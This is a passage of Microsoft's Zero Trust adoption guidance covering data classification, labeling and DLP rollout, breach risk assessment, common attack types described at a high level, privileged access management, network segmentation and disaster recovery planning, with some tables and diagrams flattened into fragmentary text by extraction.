enabling single sign-on with Microsoft Entra ID.
The tool for discovering SaaS apps that your organization uses is Microsoft Defender for
Cloud Apps.
ﾉ Expand table
Integrate SaaS apps This solution guide walks through the process of protecting SaaS apps
for Zero Trust with with Zero Trust principles. The first step in this solution includes adding
Microsoft 365 your SaaS apps to Microsoft Entra ID and to the scopes of policies. This
should be a priority.
Evaluate Microsoft This guide helps you get Microsoft Defender for Cloud Apps up and
Defender for Cloud running as quickly as possible. You can discover unsanctioned SaaS apps
Apps as early as the trial and pilot phases.
Encrypt network communication
This objective is more of a check to be sure your network traffic is encrypted. Check in
with your networking team to make sure these recommendations are satisfied.
ﾉ Expand table
Secure networks with Zero Ensure user-to-app internal traffic is encrypted:

Trust-Objective 3: User-to- Enforce HTTPS-only communication for your internet-facing
app internal traffic is web applications.
encrypted Connect remote employees and partners to Microsoft Azure
using Azure VPN Gateway.
Access your Azure virtual machines securely using encrypted
communication through Azure Bastion.
Secure networks with Zero Encrypt application backend traffic between virtual networks.
Trust-Objective 6: All
traffic is encrypted Encrypt traffic between on-premises and cloud.
Networking up (to the For network architects, this article helps put recommended
cloud)-One architect's networking concepts into perspective. Ed Fisher, Security &
viewpoint Compliance Architect at Microsoft, describes how to optimize your
network for cloud connectivity by avoiding the most common
pitfalls.
Stage 2
After you've taken inventory and discovered where your sensitive data resides, move on
to Stage 2 in which you develop a classification schema and begin to test this with your
organization data. This stage also includes identifying where data or projects require
increased protection.
When developing a classification schema, it’s tempting to create many categories and
levels. However, organizations that are most successful limit the number of classification
tiers to a small number, like 3-5. Fewer is better.
Before translating your organization’s classification schema to labels and adding

protection to labels, it’s helpful to think about the big picture. It’s best to be as uniform
as possible when applying any type of protection across an organization and especially
a large digital estate. This applies to data as well.
So, for example, many organizations are well-served by a three-tier model of protection
across data, devices, and identities. In this model, most data can be protected at a
baseline level. A smaller amount of data might require increased protection. Some
organizations have a very small amount of data that requires protection at much higher
levels. Examples include trade-secret data or data that is highly regulated due to the
extremely sensitive nature of the data or projects.
1 Baseline protection
2 Increased protection
3 Protection for highly sensitive data 
If three tiers of protection work for your organization, this helps simplify how you
translate this to labels and the protection you apply to labels.
For this stage, develop your sensitivity labels and start using them across data in
Microsoft 365. Don’t worry about adding protection to the labels yet, that is preferably
done at a later stage once users have become familiar with the labels and have been
applying these without concerns regarding their constraints for some time. Adding
protection to labels is included in the next stage. However, it's recommended to also get
started with basic DLP policies. Finally, in this stage you apply specific protection to
projects or data sets that require highly sensitive protection.
Develop and test a classification schema
ﾉ Expand table
Sensitivity Learn about and get started with sensitivity labels.

labels
The most critical consideration in this phase is to ensure that the labels reflect both
the needs of the business and the language used by users. If the names of the labels
don't intuitively resonate with users or their meanings don't map consistently to
their intended use, adoption of labeling can end up being hampered, and accuracy
of label application is likely to suffer.
Apply labels to data across Microsoft 365
ﾉ Expand table
Enable sensitivity labels Enable built-in labeling for supported Office files in SharePoint and
for Office files in OneDrive so that users can apply your sensitivity labels in Office for the
SharePoint and web.
OneDrive
Manage sensitivity Next, start introducing labels to users where they can see and apply
labels in Office apps them. When you've published sensitivity labels from the Microsoft
Purview compliance portal, they start to appear in Office apps for users
to classify and protect data as it's created or edited.
Apply labels to When you’re ready, include Microsoft Teams and Microsoft 365 groups
Microsoft Teams and into the scope of your labeling deployment.
Microsoft 365 groups
Introduce basic DLP policies
ﾉ Expand table
Prevent Get started with DLP policies.

data loss
It's recommended to start with “soft” DLP policies, which provide warnings but don't
block actions, or at most block actions while allowing users to override the policy.
This allows you to gauge the impact of these policies without harming productivity.
You can fine-tune the policies to become stricter as you gain confidence in their
accuracy and compatibility with the business needs.
Set up secure teams for sharing data internally and externally with
business partners
If you've identified projects or data that require highly sensitive protection, these
resources describe how to set this up in Microsoft Teams. If the data is stored in
SharePoint without an associated team, use the instructions in these resources for
SharePoint settings.
ﾉ Expand table
Configure teams with Provides prescriptive recommendations for securing projects with
protection for highly highly sensitive data, including securing and managing guest access
sensitive data (your partners who might be collaborating with you on these projects).
Stage 3
In this stage, you continue to roll out the data classification schema you refined. You
also apply the protections you planned.
Once you add protection to a label (such as encryption and rights management):
All documents that newly receive the label include the protection.
Any document stored in SharePoint Online or OneDrive that received the label
before the protection was added has the protection applied when the document is
opened or downloaded.
Files at rest in the service or residing on a user’s computer don't receive the protection
that was added to the label AFTER these files received the label. In other words, if the
file was previously labeled and then you later add protection to the label, the protection
isn't applied to these files.
Add protection to labels
ﾉ Expand table
Learn about See this article for many ways you can configure specific labels to apply
sensitivity protection.
labels
It's recommended that you start with basic policies like “encrypt only” for emails,
and “all employees – full control” for documents. These policies provide strong
levels of protection while providing easy ways out for users when they find
situations in which the introduction of encryption causes compatibility problems
or conflicts with business requirements. You can incrementally tighten restrictions
later as you gain confidence and understanding in the way users need to
consume the sensitive data.
Common See this list of scenarios that are supported by sensitivity labels.
scenarios for
sensitivity
labels
Introduce automatic labeling in Office apps
ﾉ Expand table
Apply a sensitivity Automatically assign a label to files and emails when it matches conditions
label to content that you specify. It's recommended that you initially configure the labels to
automatically provide an interactive labeling recommendation to users. Once you
confirm these are generally accepted, switch them to automatically
applying the label.
Extend DLP policies across Microsoft 365
ﾉ Expand table
Prevent Continue to use these steps to apply DLP across your Microsoft 365 environment,
data loss extending the policies to more locations and services and tightening the rule
actions by removing unnecessary exceptions.
Implement basic insider risk management policies
ﾉ Expand table
Insider risk Get started with the recommended actions. You can begin by using policy
management templates to quickly get started, including data theft by departing users.
Stage 4
In this stage, you extend the protections you developed in Microsoft 365 to data in your
SaaS apps. You also transition to automation of as much of the data classification and
governance as possible.
Extend labels and protection to data in SaaS apps, including DLP
ﾉ Expand table
Deploy information Using Microsoft Defender for Cloud Apps, you extend the classification
protection for SaaS apps schema you developed with Microsoft 365 capabilities to protect data
in your SaaS apps.
Extend automated classification
ﾉ Expand table
Apply a sensitivity label Continue to roll out the automated methods for applying labels to
to content automatically your data. Extend them to documents at-rest in SharePoint, OneDrive,
and Teams, and to emails being sent or received by users.
Extend labels and protection to data in on-premises repositories
ﾉ Expand table
Microsoft 365 Scan data in on-premises repositories, including Microsoft Windows file
Purview shares and SharePoint Server. The information protection scanner can
Information inspect any files that Windows can index. If you've configured sensitivity
Protection Scanner labels to apply automatic classification, the scanner can label discovered
files to apply that classification, and optionally apply or remove protection.
Protect organization data in your cloud infrastructure
ﾉ Expand table
Microsoft Purview Learn how to use the Microsoft Purview governance portal so your
data governance organization can find, understand, govern, and consume data sources.
documentation Tutorials, REST API reference, and other documentation show you how to
plan and configure your data repository where you can discover available
data sources and manage rights use.
Cloud adoption plan

An adoption plan is an essential requirement for a successful cloud adoption. Key
attributes of a successful adoption plan for protecting data include:
Strategy and planning are aligned: As you draw up your plans for testing, piloting,
and rolling out data classification and protection capabilities across your digital
estate, be sure to revisit your strategy and objectives to ensure your plans are
aligned. This includes priority of data sets, goals for data protection, and target
milestones.
The plan is iterative: As you start to roll out your plan, you'll learn many things
about your environment and the capability set you're using. At each stage of your
roll-out, revisit your results compared to the objectives and fine tune the plans.
This can include revisiting earlier work to fine-tune policies, for example.
Training your staff and users is well-planned: From your administration staff to
helpdesk and your users, everybody is trained to be successful with their data
identification and protection responsibilities.
For more information from the Cloud Adoption Framework for Azure, see Plan for cloud
adoption.
Ready phase
Use the resources previously listed to prioritize your plan for identifying and protecting
sensitive data. The work of protecting sensitive business data represents one of the
layers in your multi-layer Zero Trust deployment strategy.
The staged approach recommended in this article includes cascading the work in a
methodical way across your digital estate. At this Ready phase, revisit these elements of
the plan to be sure everything is ready to go:
Data that is sensitive for your organization is well defined. You'll likely adjust these
definitions as you search for data and analyze the results.
You have a clear map of which data sets and apps to start with and a prioritized
plan for increasing the scope of your work until it encompasses your entire digital
estate.
Adjustments to the prescribed technical guidance that are appropriate for your
organization and environment have been identified and documented.
This list summarizes the high-level methodical process for doing this work:
Get to know the data classification capabilities such as sensitive information types,
trainable classifiers, sensitivity labels, and DLP policies.
Begin using these capabilities with data in Microsoft 365 services. This experience
helps you refine your schema.
Introduce classification into Office apps.
Move on to protection of data on devices by experimenting with and then rolling
out endpoint DLP.
Extend the capabilities you’ve refined within your Microsoft 365 estate to data in
cloud apps by using Defender for Cloud Apps.
Discover and apply protection to data on-premises using Microsoft Purview
Information Protection scanner
Use Microsoft Purview data governance to discover and protect data in cloud data
storage services, including Azure Blobs, Cosmos DB, SQL databases, and Amazon
Web Services S3 repositories.
This diagram shows the process.
Data classification service Microsoft 365 User OS
Exchange Outlook Windows 10
Teams Word Chromium

Sensitive Information types browser
SharePoint PowerPoint
MacOS
OneDrive Excel
Custom Out of the box
Build, test, and refine your

Endpoint DLP
classification schema
Data Loss
Sensitivity Labels
Prevention
Public Microsoft Purview
Defender for Microsoft Purview
General Information Protection
Cloud Apps data governance
Scanner
Confidential
Trainable
... Cloud data
classifiers SaaS apps On-premises
storage services
Dropbox File servers Azure Blobs
Workday SharePoint Cosmos DB

servers
Salesforce SQL Databases
GSuite Amazon Web

Services S3
repositories 
Your priorities for data discovery and protection might differ.
Note the following dependencies on other business scenarios:
Extending information protection to endpoint devices requires coordination with

Intune (included in the Secure remote and hybrid work article).
Extending information protection to data in SaaS apps requires Microsoft Defender
for Cloud Apps. Piloting and deploying Defender for Cloud Apps is included in the
Prevent or reduce business damage from a breach business scenario.
As you finalize your adoption plans, be sure to revisit the Information Protection and
Data Loss Prevention Deployment Acceleration Guide to review the recommendations
and fine-tune your strategy.
Adopt phase
Microsoft recommends a cascading, iterative approach to discovering and protecting

sensitive data. This allows you to refine your strategy and policies as you go to increase
the accuracy of the results. For example, begin working on a classification and
protection schema as you discover and identify sensitive data. The data you discover
informs the schema and the schema helps you improve the tools and methods you use
to discover sensitive data. Similarly, as you test and pilot the schema, the results help
you improve the protection policies you created earlier. There’s no need to wait until
one phase is complete before beginning the next. Your results are more effective if you
iterate along the way.
Technical Discover and identify sensitive business data

adoption of
information Develop a classification and protection schema
protection
Test and pilot the schema with data in
Microsoft 365
Deploy the classification and protection schema

to data across Microsoft 365
Extend the schema to data in other SaaS apps
Continue to discover and protect data in other

repositories based on your priorities 

Governance of your organization’s data is an iterative process. By thoughtfully creating
your classification schema and rolling it out across your digital estate you have created a
foundation. Use the following exercises to help you start building your initial
governance plan for this foundation:
Establish your methodology: Establish a basic methodology for reviewing your

schema, how it's applied across your digital estate, and the success of the results.
Decide how you'll monitor and evaluate the success of your information protection
protocol, including your current state and future state.
Establish an initial governance foundation: Begin your governance journey with a
small, easily implemented set of governance tools. This initial governance
foundation is called a minimum viable product (MVP).
Improve your initial governance foundation: Iteratively add governance controls
to address tangible risks as you progress toward the end state.
Microsoft Purview provides several capabilities to help you govern your data, including:
Retention policies
Mailbox retention and archive capabilities
Records management for more sophisticated retention and deletion policies and
schedules
See Govern your data with Microsoft Purview. Additionally, activity explorer gives you
visibility into what content has been discovered and labeled, and where that content is.
For SaaS apps, Microsoft Defender for Cloud Apps provides rich reporting for sensitive
data that is moving into and out of SaaS apps. See the many tutorials in the Microsoft
Defender for Cloud Apps content library.
Next Steps

resources.
ﾉ Expand table
phase.

phase.
Feedback
Prevent or reduce business damage
from a breach
Article • 04/24/2024
preventing or reducing business damage from a cybersecurity breach. This scenario
addresses the Assume breach Zero Trust guiding principle, which includes:
Minimize blast radius and segment access

Verify end-to-end encryption
Use analytics to get visibility, drive threat detection, and improve defenses
With hybrid IT infrastructure models, your organization’s assets and data are located on
both on-premises and in the cloud and bad actors can employ many different methods
to attack them. Your organization must be able to prevent these attacks as much as
possible and, when breached, minimize the damage of the attack.
Traditional approaches that focus on establishing perimeter-based security for on-

premises, where you trust everyone inside your organization’s private network
perimeter, are no longer relevant. If an attacker gains access to your private network,
they can, with the appropriate permissions, access any data, applications, or resource
within it. They may breach your network by stealing user credentials, taking advantage
of a security vulnerability, or introducing a malware infection. Such attacks can result in
loss of revenue and high cyber insurance premiums, which can be a significant setback
for your organization’s financial health and market reputation.
Forester concluded the following for 2021:
Nearly two-thirds of organizations were breached in the past year, and it cost them
an average of $2.4 million per breach. – Forester, The 2021 State of Enterprise
Breaches (April 2022) .
With the cloud, bad actors don’t need to physically breach your private network
perimeter. They can attack your cloud-based digital assets from anywhere in the world.
Your organization’s health and reputation depend on your security strategy. With the
widespread adoption of cloud-based enterprise environments and the growth of the
mobile workforce, data footprints exist beyond the traditional boundaries of corporate
networks. This table summarizes key differences between traditional and modern threat
protection with Zero Trust.
ﾉ Expand table
Traditional threat protection Modern threat protection with Zero Trust

with private network
controls
Traditional protection relies on The Zero Trust model moves network defenses from static,
perimeter-based security, network-based perimeters to focus on users, devices, assets, and
where you trust everyone resources.
inside the private network.
Assume that a breach can and will happen. Security risks can
Perimeter networks can exist inside and outside your network, you're constantly under
include: attack, and a security incident can happen at any time. A
comprehensive and modern threat protection infrastructure can
- Little network segmentation provide timely attack detection and response.
or security perimeters and
open, flat networks. Minimize the blast radius of security incidents with layers of
- Minimal threat protection protection that, together, reduce the extent of the damage and
and static traffic filtering. how fast it can spread.
- Unencrypted internal traffic.
To reduce the impact of a significant incident, all the following are essential:
Identify the business risk of a breach

Plan a risk-based approach for your breach response
Understand the resulting damage to your organization’s reputation and
relationships with other organizations
Add defense-in-depth layers
The guidance in this article walks through how you can get started on your strategy for
preventing and reducing damage from a breach. Two additional articles give you the
specifics of how to implement that strategy using:
A security breach prevention and recovery infrastructure

Threat protection and eXtended detection and response (XDR) tools
The first step toward a robust security posture is determining how your organization is
vulnerable through risk assessment.
Assessing risk and your security posture

When you decide to adopt a strategy to prevent breach and reduce the damage caused
from one, it's important to consider and quantify the metric of risk. Strategically, the
exercise of quantifying risk allows you to set a metric for your appetite for risk. This
requires that you conduct a baseline risk assessment along with an analysis of the
business-critical breaches that may affect your business. The combination of your
documented risk appetite against breach scenarios that you’re willing to address forms
the basis of a breach preparation and remediation strategy.
Note that it's virtually impossible to prevent breaches as an absolute. As described in

Attacker return on investment, the aim is to incrementally increase cyberattack friction
to a point where the attackers that you’re able or willing to defend against no longer
gain a viable return on investment from their attacks. The kind of attacks and the
economic viability to defend should be captured as part of your risk analysis.
Reducing damage from a breach gives considerable energy to options during and post
breach, which allows your organization to recover quickly from an expected breach or
type of breach. These breach types and the readiness to recover are defined in
subsequent sections in this article.
Recognizing breach intent must be part of your breach preparation. All breaches have
an element of malice or criminal intent attached, however financially driven breaches
have the potential for much greater damage compared to "drive by" or opportunistic
breaches.
For more information on security posture and risk assessment, see Rapidly modernize
your security posture.
Examples of risks by business type

Business requirements are dependent on the resulting risk analysis for your business
type. The following discusses several business verticals and how their specific needs
drive the segmented risk analysis:
Mining
The mining industry is looking more towards the mine of the future where
Operational Technology (OT) systems use fewer manual processes. An example is
the use of Human Machine Interfaces (HMI) that leverage an application interface
to complete jobs and tasks within a processing plant. Because these HMIs are
designed as applications, the cyber security risks for this industry vertical can be
higher.
The threat no longer becomes one of loss of data or theft of company assets. The
threat becomes one of external actors who use identity theft to access critical
systems and interfere with production processes.
Retail
The major risks related to breach within the retail industry can arise when there are
multiple domains for multiple brands that live within the same tenant. The
complexities of managing on-premises or cloud-based identities can create
vulnerabilities.
Health Sector
The major risks within the health sector are data loss. The unauthorized disclosure
of confidential medical records may be a direct threat to data and information
privacy laws that are reserved for patients and clients alike and, based on local
regulations, can incur substantial penalties.
Government Sector
Government sector organizations pose the highest risks for information security.
Reputational damage, national security, and data loss are at stake. This is largely
why government organizations are required to subscribe to stricter standards such
as the National Institute of Standards and Technology (NIST) .
As part of your breach preparation and response, take advantage of Microsoft Defender
Threat Intelligence to search for and learn about the types of attacks and threat
vectors that are most relevant to your vertical.
Risks of common types of attacks

Preventing or reducing business damage from a cybersecurity breach includes
awareness of the most common types of attacks. Although the following attack types
are currently the most common, your cybersecurity team should also be aware of new
types of attacks, some of which may augment or replace them.
Identities
Cyber security incidents typically begin with a credential theft of some sort. Credentials
may be stolen using a variety of methods:
Phishing
An attacker masquerades as a trusted entity and dupes employees into opening

emails, texts, or IMs. Can also include spear-phishing, in which an attacker uses
information specifically about a user to construct a more plausible phishing attack.
Technical credential theft may occur due to a user clicking on a URL or an MFA
phishing attack.
Vishing
An attacker uses social engineering methods to target supporting infrastructure

such as helpdesks to obtain or change credentials.
Password spray
Attacker tries a large list of possible passwords for a given account or set of
accounts. Possible passwords can be based on public data about a user, such as
birthdates in social media profiles.
In all these cases, skilling and education are essential for both users as the target of
phishing attacks and helpdesks as the target of vishing attacks. Helpdesks should have
protocols in place to authenticate requesting users before performing sensitive actions
on user accounts or permissions.
Devices
User devices are another way in for attackers, who typically rely on device compromise
to install malware such as viruses, spyware, ransomware, and other unwanted software
that installs without consent.
Attackers can also use the device's credentials to gain access to your applications and
data.
Network
Attackers can also use your networks to either impact your systems or determine
sensitive data. Common types of network attacks include:
Distributed denial of service (DDos)
Attacks that aim to overwhelm online services with traffic to make the service
inoperable.
Eavesdropping
An attacker intercepts network traffic and aims to obtain passwords, credit card
numbers, and other confidential information.
Code and SQL injection
An attacker transmits malicious code instead of data values over a form or through
an API.
Cross site scripting
An attacker uses third-party web resources to run scripts in the victim’s web
browser.
How business leaders think about preventing

or reducing business damage from a breach
for investing in preventing and reducing business damage from a breach as these
motivations help inform the strategy, objectives, and measures for success.
should invest in preventing or reducing damage from a breach.
ﾉ Expand table
Role Why preventing or reducing business damage from a breach is important
Chief Executive The business must be empowered to achieve its strategic goals and objectives,
Officer (CEO) irrespective of the cybersecurity climate. Business agility and business execution
shouldn’t be constrained because of an incident or breach. Business leaders
should understand that security is part of business imperatives and investment
in both breach prevention and breach preparedness is required to ensure
business continuity. The cost of a successful and destructive cyberattack can be
a lot more than the price of implementing security measures.
Chief How the business is perceived both internally and externally shouldn’t be
Marketing restricted based on a breach occurring or breach readiness. Learning how to
Officer (CMO) communicate breach readiness and messaging internally and externally in
response to a breach is a matter of preparation. A successful attack can become
public knowledge, potentially harming brand value, unless a breach
communication plan exists.
Chief The applications used by your organization must be resilient to attack while
Information securing your organization's data. Security should be a measurable outcome
Officer (CIO) and aligned with IT strategy. Breach prevention and breach management must
be aligned with data integrity, privacy, and availability.
Chief Security must be aligned as a business imperative to the C-Suite. Breach

Information readiness and response is aligned to achieving the primary business strategies,
Security Officer with technology security aligned to mitigation of business risk.
(CISO)
Role Why preventing or reducing business damage from a breach is important
Chief The incident response process hinges on the leadership and strategic guidance
Operations provided by this role. It's imperative that preventive and responsive actions are
Officer (COO) carried out as aligned to corporate strategy.
Breach preparation in an Assume breach posture means that all disciplines

reporting to the COO must function at a level of breach readiness, ensuring that
a breach can be isolated and mitigated quickly without pausing your business.
Chief Financial Breach preparation and mitigation are functions of budgeted security spend.
Officer (CFO) Financial systems must be robust and can survive a breach. Financial data must
be classified, secured, and backed up as a sensitive dataset.
A Zero Trust approach solves several security problems arising from security breaches.
You can emphasize the following benefits of a Zero Trust approach with your business
leaders.
ﾉ Expand table
Benefits Description
Ensure survival Depending on the nature or motivation of the attacker, a breach may be
designed to significantly impact or disrupt your organization’s ability to
perform normal business activities. Preparing for a breach significantly
improves the likelihood of your organization surviving a breach designed to
cripple or disable.
Control damage A breach that results in access to confidential data can have severe impacts,
to your such as damage to brand reputation, loss of sensitive intellectual property,
reputation disruption to customers, regulatory fines, and financial harm to your business.
Zero Trust security helps to reduce the attack area by continuously assessing,
monitoring, and analyzing your IT infrastructure both on-premises and in the
cloud. A Zero Trust architecture helps define policies that are updated
automatically when risks are identified.
Reduce blast Deploying a Zero Trust model can help minimize the impact of an external or
radius within insider breach. It enhances your organization’s ability to detect and respond to
your threats in real time and reduces the blast zone of attacks by restricting lateral
organization movement.
Demonstrate A Zero Trust approach allows triage alerts, correlation of additional threat
robust security signals, and remediation actions. Analyzing signals helps improve your posture
and risk posture by evaluating your security culture and identifying areas for improvement or
best practices. Any change in your network automatically triggers analysis for
potentially malicious activity. You gain complete visibility of all assets and
resources within your networks and how they’re performing, which results in a
significant overall reduction in risk exposure.
Benefits Description
Lower cyber To evaluate the cost of cyber insurance, you need a robust and well-defined
insurance security model and architecture. By implementing Zero Trust security, you
premiums have control, visibility, and governance with real-time analysis for protecting
your network and endpoints. Your security team can detect and overcome
gaps in your overall security posture and prove to insurers that you have
proactive strategies and systems. A Zero Trust approach also improves cyber-
resilience and may even help pay for itself by reducing insurance premiums.
Increase security Zero Trust deployments reduce manual efforts for your security team by
team efficiency automating routine tasks such as resource provisioning, access reviews, and
and morale attestation. As a result, you can empower your security teams with the time
and telemetry they need to detect, deter, and defeat the most critical attacks
and risks, both internally and externally, which in turn boosts IT and security
team morale.
For more information to share with business leaders, see the Minimize the impact of
internal or external bad actors e-book .
The adoption cycle for preventing or reducing

business damage from a breach
This set of articles walk through this business scenario using the same lifecycle phases as
the Cloud Adoption Framework for Azure—Define strategy, Plan, Ready, Adopt, and
Govern and manage—but adapted for Zero Trust.
ﾉ Expand table
manage

Organizational Test
plans Pilot detect
Strategic goals
Skills Iterate for
readiness maturity
overview.
To prevent or reduce business damage from a breach, use the information in these
additional articles:
Implement security breach prevention and recovery infrastructure

Implement threat protection and XDR
Note that the deployment recommendations for these two separate tracks require the
participation of separate groups of your IT department and the activities for each track
can be done in parallel.
Next Steps
For this business scenario:

Additional articles in the Zero Trust adoption framework:


resources.
ﾉ Expand table
phase.

phase.
Feedback
Implement security breach prevention
and recovery infrastructure
Article • 04/24/2024
As part of Zero Trust adoption guidance, this article is part of the Prevent or reduce
business damage from a breach business scenario and describes how to protect your
organization from cyberattacks. This article focuses on how to deploy additional security
measures to prevent a breach and limit its spread and to create and test a business
continuity and disaster recovery (BCDR) infrastructure to more quickly recover from a
destructive breach.
For the elements of the Assume breach Zero Trust guiding principle:
Described in this article.
Described in the implement threat protection and XDR article.
This article assumes that you have already modernized your security posture.
The adoption cycle for implementing security

breach prevention and recovery infrastructure
This article walks through implementing security breach prevention and recovery
infrastructure of the Prevent or reduce business damage from a breach business
scenario using the same lifecycle phases as the Cloud Adoption Framework for Azure—
Define strategy, Plan, Ready, Adopt, and Govern and manage—but adapted for Zero
Trust.

ﾉ Expand table

manage

Organizational Test
plans Pilot detect
Strategic goals
Skills Iterate for
readiness maturity
overview.
For more information about the "Prevent or reduce business damage from a breach"
business scenario, see:
The overview
The additional elements of implementing threat protection and XDR
the "Why?" of this scenario. In this phase, you understand the scenario through
needs.
Motivations for implementing security breach prevention
The motivations for security breach prevention and recovery infrastructure are
straightforward, but different parts of your organization have different incentives for
doing this work. The following table summarizes some of these motivations.
ﾉ Expand table
Area Motivations
Business To operate your business with a posture of breach prevention and recovery as an
needs extension of security. Your business can recover from a breach containing damage
within one or more areas while continuing business as normal.
IT needs To implement technologies and disciplines to lower the probability of a breach,

such as updating on-premises systems and endpoints and deploying honeypot
resources to distract and deceive attackers, all while maintaining an
uncompromising approach to identity security and provisioning.
Operational To implement breach prevention and recovery as standard operating procedures.

needs Breaches are expected and while undesired can be mitigated for your business
vertical.
Strategic To incrementally raise the ability of your business to recover from breaches, which
needs can lower the return of investment to cyber attackers while increasing operating
resiliency. The Assume breach principle of Zero Trust forces you to plan for and
execute changes and updates to ensure business survival, minimize breaches, and
reduce breach recovery time.
Outcomes for implementing security breach prevention

Applying the overall goal of Zero Trust to "never trust, always verify" to your breach
damage prevention and reduction infrastructure adds a significant layer of protection to
your environment. It’s important to be clear on the outcomes you expect to achieve so
that you can strike the right balance of protection for all teams involved. The following
table provides suggested objectives and outcomes.
ﾉ Expand table
Objective Outcome
Business Breach prevention and recovery practices result in minimal costs associated
outcomes with breaches and quick recovery of business processes.
Objective Outcome
Governance Breach prevention and recovery tools and systems are deployed and internal
processes are tested and ready for breaches.
Organizational Between security breach prevention and recovery and proactive threat
resilience protection, your organization can recover from an attack quickly and prevent
future attacks of its type.
Security Breach prevention and recovery are integrated into your overall security
requirements and policies.
Plan phase
teams, support the "Why?" for your organization and become the North Star for your
Technical adoption for implementing breach prevention and recovery involves:
Setting up Microsoft Entra Privileged Identity Management (PIM) to protect your

administrator and other privileged accounts for just-in time (JIT) access.
Increasing the security of your networking infrastructure.
Deploying honeypot resources on your network to lure attackers and detect their
presence early.
Implementing a comprehensive patching infrastructure to keep servers and devices
up to date.
Begin using Microsoft Purview Insider Risk Management.
Deploying a BCDR infrastructure to quickly recover from a destructive cyberattack.

ﾉ Expand table
Secure privileged Implement Microsoft Implement Microsoft 365 Discontinue

accounts 365 Backup and Azure Backup and Azure Backup legacy network
Backup for critical for all business data security
Segment your business data technology
network Implement Azure Site
Implement a patching Recovery for all workloads Practice threat
Implement Azure Site plan and BCDR
Recovery for critical Gain visibility to network response
workload continuity Create honeypot traffic
resources
Encrypt network Design your threat and
communication Get started with business
Microsoft Purview continuity/disaster
Insider Risk recovery (BCDR) response
Management


to the exercise of understanding your organization.
includes taking inventory and determining the current state of your infrastructure. For
this business scenario, you need to collect information on your current:
Privileged identity security policies and requirements.

Network security practices and technologies.
Insider risks and priorities for managing them.
Server and device patching policies and requirements.
BCDR systems and policies.

The technical work of preventing a breach and implementing a recovery infrastructure
crosses several overlapping areas and roles:
Privileged identities
Networking
Insider risk management
Device patching
BCDR
ﾉ Expand table

technical owners

technical owners
Data Security
Program lead from Drive results and cross-team collaboration

Security
Security Architect Advise on configuration and standards, especially around privileged

identities, networking, and the design of honeypot resources
IT Lead Maintain honeypot resources, implement patching and system update

requirements and policies, and implement and practice BCDR
procedures
Network Architect Advise on and implement network security standards and practices
Compliance Officers Map compliance requirements and risks to specific controls and
available technologies and advise on insider risks to be detected and
managed
Security Governance Monitor to ensure compliance with defined policies and requirements
and/or IT Lead

capabilities, how they work together, and best practices for approaching this work. The
following table includes several training resources to help your teams gain skills.
ﾉ Expand table
Module: Plan and implement privileged Learn how to use PIM to protect your data and
access resources.
Module: Design a solution for backup Learn how to select appropriate backup solutions and
and disaster recovery disaster recovery solutions for Azure workloads.
Module: Protect your on-premises Learn how to provide disaster recovery for your on-
infrastructure from disasters with Azure premises infrastructure by using Azure Site Recovery.
Site Recovery
Module: Protect your Azure Learn how to provide disaster recovery for your Azure
infrastructure with Azure Site Recovery infrastructure by customizing replication, failover, and
failback of Azure virtual machines.
Module: Design and implement network Learn how to design and implement network security
security solutions such as Azure DDoS, Network Security
Groups, Azure Firewall, and Web Application Firewall.
Module: Secure and isolate access to Learn how to use network security groups and service
Azure resources by using network endpoints to secure your virtual machines and Azure
security groups and service endpoints services from unauthorized network access.
Module: Windows Server update Learn how to use Windows Server Update Services to
management deploy operating system updates to computers on
your network.
Stage 1
The Stage 1 deployment objectives include locking down administrator and other
privileged access accounts, using Microsoft cloud products to back up critical business
data, and ensuring that all network traffic is encrypted.
Secure privileged accounts
Cybersecurity incidents typically begin with a credential theft of some sort. Attackers
discover the account name, which can be a well-known or easily discovered email
address, and then proceed to determine the password of the account. This type of
attack can be thwarted in most cases by multifactor authentication (MFA). However, the
Assume breach Zero Trust principle implies that an attacker can and will access your
network using an identity.
Once in your network, attackers try to elevate their level of privilege by compromising
accounts with more and more access. The goal is to compromise a privileged account
that has access to a wide swath of not only sensitive data, but to administrative settings
as well. Therefore, it's imperative that you prevent this level of access to attackers.
First, for hybrid identity organizations, you must ensure that administrator accounts or
accounts holding privileged roles that are used for cloud services aren’t synchronized
with and stored in on-premises Active Directory Domain Services (AD DS). If they're
stored on-premises and AD DS or Microsoft Entra Connect is compromised, an attacker
can have administrative control to your Microsoft cloud services. Review your
synchronization settings to prevent and test whether your cloud administrator accounts
are present in your AD DS.
All organizations with a Microsoft cloud subscription have a Microsoft Entra ID tenant
that contains cloud accounts, which include user and administrative accounts.
Administrators need to perform privileged operations in Microsoft Entra ID, Azure,
Microsoft 365, or SaaS apps.
The first step to protecting privileged accounts is to require strong passwords and MFA.
Additionally, pursuant to the Use least privilege access Zero Trust principle, use
Microsoft Entra PIM in your Microsoft Entra production environment to provide an
additional layer of protection. Microsoft Entra PIM provides time-based and approval-
based role activation to mitigate the risks of excessive, unnecessary, or misused access
permissions.
Features of Microsoft Entra PIM include:
JIT privileged access to Microsoft Entra ID and Azure resources

Time-bound access to resources using start and end dates
Requiring approval to activate privileged roles
Enforcing MFA to activate any role
Require justification to understand why users activate
Get notifications when privileged roles are activated
Conduct access reviews to ensure users still need roles
ﾉ Expand table
What is hybrid identity with Microsoft Get started with the documentation set for Microsoft
Entra ID? Entra ID Connect.
What is Microsoft Entra Privileged Get started with the documentation set for Microsoft
Identity Management? Entra PIM.
Plan a Microsoft Entra PIM deployment Step through the planning process for deploying PIM
for your privileged accounts.
Module: Plan and implement privileged Learn how to use PIM to protect your data and
access resources.
Segment your network
This objective is to create boundaries on your network so that intermediate analysis and
filtering can protect sensitive servers, applications, and data. Network segmentation can
occur for on-premises servers or in the cloud, for example, with virtual machines hosted
on virtual networks (VNets) in Azure IaaS.
ﾉ Expand table
Recommendations Resource
Use many ingress/egress cloud micro-perimeters with Secure networks with Zero Trust
some micro-segmentation.
Use multiple subnets and network security groups to host Apply Zero Trust principles to a
multiple tiers of an app and restrict traffic. spoke VNet in Azure
Apply Zero Trust principles to a

spoke VNet with Azure PaaS Services
Implement Site Recovery for critical workload continuity
Azure Site Recovery is a native disaster recovery as a service (DRaaS) that offers ease of
deployment, cost effectiveness, and dependability. Deploy replication, failover, and
recovery processes through Site Recovery to help keep your applications running during
planned and unplanned outages, such as an outage based on a cyberattack.
Azure Site Recovery has two main components:
Site Recovery service: Site Recovery helps ensure business continuity by keeping
business apps and workloads running during outages. Site Recovery replicates
workloads running on physical and virtual machines (VMs) from a primary site to a
secondary location. When an outage occurs at your primary site, you fail over to a
secondary location, and access apps from there. After the primary location is
running again, you can fail back to it.
Backup service: The Azure Backup service keeps your data safe and recoverable.
See the previous section for more information.
Site Recovery can manage replication for:
Azure VMs replicating between Azure regions

